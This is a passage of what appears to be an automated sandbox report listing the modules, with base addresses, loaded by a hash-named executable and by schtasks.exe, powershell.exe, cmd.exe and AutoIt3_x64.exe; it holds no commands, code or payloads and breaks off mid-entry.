"API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 21850000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 240f0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 21850000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 21850000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 21850000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 2cc0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "ADVAPI32.DLL" at base 247e0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 2c10000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "SHLWAPI.DLL" at base 251b0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 216e0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "VERSION.DLL" at base 1c710000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 1e40000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "USER32.DLL" at base 24f80000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 21850000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "MSCOREE.DLL" at base 2d20000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "NTDLL" at base 25300000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 23d80000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "PSAPI.DLL" at base 25210000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "KERNEL32.DLL" at base 25220000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base f80b0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "RPCRT4.DLL" at base 241d0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "OLE32.DLL" at base 24400000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 1fc90000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 23d80000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 21850000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 1cf0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "COMBASE.DLL" at base 23d80000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 23d80000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "NTDLL.DLL" at base 25300000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 1080000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\ECE80F2E3752A779E894FD45D8F27E64\SYSTEM.DRAWING.NI.DLL" at base e80000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\B138F79DEA860272EBE6694D9B73F656\SYSTEM.WINDOWS.FORMS.NI.DLL" at base f7000000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base f6580000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base d40000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base f5cd0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "SHELL32.DLL" at base 227d0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "BCRYPT.DLL" at base 21150000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 20a90000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "SSPICLI.DLL" at base 21580000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "WLDP.DLL" at base 20680000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "AMSI.DLL" at base 40d0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 1c710000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 29d0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\SO5K6STD.DLL" at base cf0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base c10000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 25220000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "USERENV.DLL" at base 21550000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 247e0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "ADVAPI32" at base 247e0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 217d0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base aa0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\VERSION.DLL" at base 0 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\\WMINET_UTILS.DLL" at base a70000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 21850000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 16840000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 15df0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 168f0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 21850000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 21850000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 15860000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "OLEAUT32.DLL" at base 24930000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.RUNTEB92AA12#\59A4984A6AFE6B209EAAA379927AB81D\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL" at base 5a0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 23d80000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\DLNASHEXT.DLL" at base eb40000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\PLAYTODEVICE.DLL" at base 3900000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\DEVDISPITEMPROVIDER.DLL" at base 1c630000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\MMDEVAPI.DLL" at base 1a570000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\WPDSHEXT.DLL" at base 3c0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 21bc0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 1d810000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 1bfa0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 19290000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 227d0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 18bd0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "MSISO.DLL" at base 29f0000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 21850000 "schtasks.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 240f0000 "schtasks.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 21850000 "schtasks.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 21850000 "schtasks.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 21850000 "schtasks.exe" loaded module "KERNEL32" at base 25220000 "schtasks.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 2cc0000 "schtasks.exe" loaded module "KERNEL32.DLL" at base 25220000 "schtasks.exe" loaded module "RPCRT4.DLL" at base 241d0000 "schtasks.exe" loaded module "%WINDIR%\SYSTEM32\TASKSCHD.DLL" at base 1baa0000 "schtasks.exe" loaded module "SSPICLI.DLL" at base 21580000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 21850000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 21850000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 21850000 "powershell.exe" loaded module "KERNEL32" at base 25220000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 2cc0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 25220000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 247e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 2c10000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 251b0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 216e0000 "powershell.exe" loaded module "VERSION.DLL" at base 1c710000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 1e40000 "powershell.exe" loaded module "USER32.DLL" at base 24f80000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 21850000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 2d20000 "powershell.exe" loaded module "NTDLL" at base 25300000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 23d80000 "powershell.exe" loaded module "PSAPI.DLL" at base 9bfe0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 241d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base f80b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 24400000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 23d80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 24930000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base f40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base f7630000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base e60000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 20a90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 217d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base f55c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 23d80000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 23d80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 25300000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "SHELL32.DLL" at base 227d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\AMSI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 21b60000 "powershell.exe" loaded module "AMSI.DLL" at base 40d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 1c710000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 21b60000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 22600000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 29d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SO5K6STD.DLL" at base e10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base d70000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base c00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base a90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base f4d10000 "powershell.exe" loaded module "CRYPT32.DLL" at base 22600000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\VERSION.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base ff5c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 580000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 21850000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 940000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 510000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 430000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 100000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 3e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 1c4b0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 21580000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WLDP.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 20680000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 1fc90000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base ff2e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 25220000 "powershell.exe" loaded module "USERENV.DLL" at base 21550000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 247e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 23d80000 "powershell.exe" loaded module "PSAPI.DLL" at base 46c40000 "powershell.exe" loaded module "PSAPI.DLL" at base 336f0000 "powershell.exe" loaded module "PSAPI.DLL" at base 1c810000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 21150000 "powershell.exe" loaded module "OLEAUT32" at base 24930000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 1b520000 "cmd.exe" loaded module "KERNEL32" at base 25220000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 21850000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 21850000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 21850000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 240f0000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 21850000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 21850000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 21850000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 2cc0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 25220000 "cmd.exe" loaded module "NTDLL.DLL" at base 25300000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 1fa50000 "AutoIt3_x64.exe" loaded module "KERNEL32" at base 25220000 "AutoIt3_x64.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 21850000 "AutoIt3_x64.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 21850000 "AutoIt3_x64.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 21850000 "AutoIt3_x64.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 240f0000 "AutoIt3_x64.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 21850000 "AutoIt3_x64.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 21850000 "AutoIt3_x64.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 21850000 "AutoIt3_x64.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 2cc0000 "AutoIt3_x64.exe" loaded module "ADVAPI32.DLL" at base 247e0000 "AutoIt3_x64.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 2c10000 "AutoIt3_x64.exe" loaded module "SHLWAPI.DLL" at base 251b0000 "AutoIt3_x64.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 216e0000 "AutoIt3_x64.exe" loaded module "VERSION.DLL" at base 1c710000 "AutoIt3_x64.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 1e40000 "AutoIt3_x64.exe" loaded module "USER32.DLL" at base 24f80000 "AutoIt3_x64.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 21850000 "AutoIt3_x64.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "AutoIt3_x64.exe" loaded module "MSCOREE.DLL" at base 2d20000 "AutoIt3_x64.exe" loaded module "NTDLL" at base 25300000 "AutoIt3_x64.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 23d80000 "AutoIt3_x64.exe" loaded module "PSAPI.DLL" at base 25210000 "AutoIt3_x64.exe" loaded module "KERNEL32.DLL" at base 25220000 "AutoIt3_x64.exe" loaded module 